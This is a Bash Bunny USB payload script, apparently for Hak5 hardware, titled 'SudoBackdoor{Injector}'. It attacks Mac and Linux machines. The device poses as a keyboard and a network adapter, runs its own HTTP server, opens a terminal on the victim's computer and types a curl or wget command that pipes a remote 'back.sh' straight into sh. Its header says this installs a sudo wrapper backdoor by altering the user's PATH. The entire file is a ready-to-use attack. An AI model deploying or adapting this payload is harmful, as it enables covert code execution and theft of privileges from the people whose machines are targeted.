#!/bin/bash

# Title:     SudoBackdoor{Injector}
# Author:    oXis
# Target:    Mac/Linux
# Version:   0.1
#
# Inject a sudo backdoor by installing a wrapper
# inside .config/sudo/ and sourcing the dir
# in the $PATH.
#
# White            |  Ready
# Ammber blinking  |  Waiting for server
# Blue blinking    |  Attacking
# Green            |  Finished

LED SETUP

#setup the attack on macos (if false, attack is for Linux)
mac=false

if [ "$mac" = true ]
then
    ATTACKMODE ECM_ETHERNET HID VID_0X05AC PID_0X021E
else
    ATTACKMODE ECM_ETHERNET HID
fi

GET SWITCH_POSITION
GET HOST_IP

cd /root/udisk/payloads/$SWITCH_POSITION/

# starting server
LED SPECIAL

iptables -A OUTPUT -p udp --dport 53 -j DROP
python -m SimpleHTTPServer 80 &

# wait until port is listening (credit audibleblink)
while ! nc -z localhost 80; do sleep 0.2; done

LED ATTACK

if [ "$mac" = true ]
then
    RUN OSX terminal
else
    RUN UNITY xterm
fi
QUACK DELAY 2000

if [ "$mac" = true ]
then
    QUACK STRING curl "http://$HOST_IP/back.sh" \| sh
else
    QUACK STRING wget "http://$HOST_IP/back.sh" \| sh
fi
QUACK DELAY 200
QUACK ENTER
QUACK DELAY 200
QUACK STRING exit
QUACK DELAY 200
QUACK ENTER
LED SUCCESS
